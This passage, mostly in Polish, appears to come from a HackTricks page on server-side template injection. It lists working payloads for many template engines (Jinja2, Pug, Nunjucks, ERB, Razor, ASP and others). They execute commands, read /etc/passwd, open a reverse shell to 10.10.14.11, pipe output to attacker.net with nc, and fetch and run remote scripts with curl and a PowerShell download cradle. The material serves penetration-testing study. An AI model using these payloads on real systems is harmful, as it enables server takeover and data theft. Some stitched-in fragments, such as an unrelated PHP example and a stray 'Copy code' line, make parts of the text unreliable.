Least privilege principle: Ensure that the server-side code has the minimum necessary permissions to prevent unauthorized access.
-
Regular updates: Keep the template engine and server software up to date to patch any known vulnerabilities.
By following these practices, you can reduce the risk of SSTI vulnerabilities and protect your server from potential attacks.
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Więcej informacji
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Więcej informacji
- W sekcji Jade na stronie https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate (PHP)
patTemplate to niekompilujący silnik szablonów PHP, który używa znaczników XML do podziału dokumentu na różne części.
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Więcej informacji
Handlebars (NodeJS)
Przechodzenie ścieżką (więcej informacji tutaj).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Błąd
- ${7*7} = ${7*7}
- Nic
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Więcej informacji
JsRender (NodeJS)
Szablon | Opis |
---|---|
Ocena i renderowanie wyniku | |
Ocena i renderowanie zakodowanego HTML-a | |
Komentarz | |
and | Pozwala na kod (domyślnie wyłączone) |
- = 49
Strona klienta
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Serwerowa strona
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Więcej informacji
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Przykład renderowania po stronie serwera
var pugjs = require('pug');
home = pugjs.render(injected_page)
Więcej informacji
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Brak wyniku
- #{7*7} = #{7*7}
- {{console.log(1)}} = Błąd
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
Więcej informacji
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Błąd
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Więcej informacji
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Więcej informacji
Python
Sprawdź następującą stronę, aby dowiedzieć się sztuczek dotyczących omijania piaskownic przy wykonaniu dowolnych poleceń w pythonie:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Więcej informacji
Jinja2 (Python)
Jinja2 to zaawansowany silnik szablonów dla Pythona. Posiada pełne wsparcie dla Unicode, opcjonalne zintegrowane środowisko wykonawcze w trybie piaskownicy, jest szeroko stosowany i posiada licencję BSD.
{{7*7}} = Błąd
${7*7} = ${7*7}
{{foobar}} Nic
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Format szablonu
Jinja2 jest silnym i elastycznym silnikiem szablonów, który jest szeroko stosowany w aplikacjach internetowych opartych na Pythonie. Szablon Jinja2 składa się z tekstu i wyrażeń, które są otoczone podwójnymi nawiasami klamrowymi {{ }}
lub podwójnymi nawiasami klamrowymi z procentami {% %}
. Wyrażenia wewnątrz tych nawiasów są ewaluowane i zastępowane wartościami podczas renderowania szablonu.
Podatność na Server-Side Template Injection (SSTI)
Server-Side Template Injection (SSTI) to podatność, która występuje, gdy aplikacja internetowa umożliwia użytkownikom wprowadzanie kodu szablonu, który jest następnie ewaluowany i wykonany po stronie serwera. Jeśli aplikacja nie sprawdza i nie waliduje danych wejściowych, atakujący może wstrzyknąć złośliwy kod szablonu, co może prowadzić do wykonania dowolnego kodu na serwerze.
Wykorzystanie SSTI w Jinja2
Aby wykorzystać podatność SSTI w Jinja2, atakujący musi znaleźć miejsce, w którym aplikacja umożliwia wstrzyknięcie kodu szablonu. Następnie atakujący może użyć różnych technik, takich jak wstrzykiwanie zmiennych, wywoływanie funkcji, iterowanie po obiektach, aby manipulować kodem szablonu i osiągnąć wykonanie dowolnego kodu na serwerze.
Zabezpieczenia przed SSTI
Aby zabezpieczyć się przed atakami SSTI, należy:
- Dokładnie sprawdzać i walidować dane wejściowe.
- Unikać bezpośredniego wstrzykiwania danych wejściowych do kodu szablonu.
- Używać bezpiecznych metod renderowania szablonów, które automatycznie unikają ewaluacji niebezpiecznego kodu.
Podsumowanie
Podatność na Server-Side Template Injection (SSTI) w Jinja2 może prowadzić do poważnych konsekwencji, takich jak wykonanie dowolnego kodu na serwerze. Aby zabezpieczyć się przed tym rodzajem ataku, należy dokładnie sprawdzać i walidować dane wejściowe oraz unikać bezpośredniego wstrzykiwania ich do kodu szablonu.
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE niezależne od __builtins__
:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Więcej szczegółów na temat nadużywania Jinja:
{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}
Inne ładunki w https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Więcej informacji
Razor (.Net)
@(2+2) <= Sukces
@() <= Sukces
@("{{code}}") <= Sukces
@ <=Sukces
@{} <= BŁĄD!
@{ <= BŁĄD!
@(1+2)
@( //KodC# )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwMAXABQAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUA");
Metoda .NET
System.Diagnostics.Process.Start
może być użyta do uruchomienia dowolnego procesu na serwerze i tym samym utworzenia webshell. Przykład podatnej aplikacji internetowej można znaleźć w https://github.com/cnotin/RazorVulnerableApp
Więcej informacji
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nic<%= response.write(date()) %>
= <Data>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Więcej informacji
Mojolicious (Perl)
Nawet jeśli to perl, używa tagów podobnych do ERB w Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Błąd
<%= perl code %>
<% perl code %>
SSTI w GO
W silniku szablonów Go można potwierdzić jego użycie za pomocą konkretnych payloadów:
{{ . }}
: Ujawnia strukturę danych wejściowych. Na przykład, jeśli przekazany zostanie obiekt z atrybutemPassword
,{{ .Password }}
może go ujawnić.{{printf "%s" "ssti" }}
: Powinno wyświetlić ciąg znaków "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Te payloady powinny zwrócić "ssti" bez dodawania "html" lub "js". Więcej dyrektyw można znaleźć w dokumentacji Go tutaj.
Eksploatacja XSS
Z pakietem text/template
XSS może być prosty poprzez bezpośrednie wstawienie payloadu. W przeciwnym razie pakiet html/template
koduje odpowiedź, aby temu zapobiec (np. {{"<script>alert(1)</script>"}}
daje wynik <script>alert(1)</script>
). Niemniej jednak, definicja i wywołanie szablonu w Go mogą ominąć to kodowanie:
{{define "T1"}}{{end}} {{template "T1"}}
vbnet Copy code
Eksploatacja RCE
Eksploatacja RCE różni się znacznie między html/template
a text/template
. Moduł text/template
pozwala na bezpośrednie wywoływanie dowolnej publicznej funkcji (za pomocą wartości "call"), co nie jest dozwolone w html/template
. Dokumentacja dla tych modułów jest dostępna tutaj dla html/template i tutaj dla text/template.
W przypadku RCE za pomocą SSTI w Go można wywoływać metody obiektu. Na przykład, jeśli dostarczony obiekt ma metodę System
wykonującą polecenia, można ją wykorzystać w ten sposób: {{ .System "ls" }}
. Zazwyczaj konieczne jest uzyskanie dostępu do kodu źródłowego, jak w podanym przykładzie:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Więcej informacji
- https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
- https://www.onsecurity.io/blog/go-ssti-method-research/
Więcej ataków
Sprawdź resztę https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection dla więcej ataków. Możesz również znaleźć interesujące informacje o tagach w https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
Powiązana pomoc
Jeśli uważasz, że może być przydatne, przeczytaj:
Narzędzia
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Lista wykrywania Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Praktyka i odniesienia
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
{% embed url="https://www.rootedcon.com/" %}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi trikami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.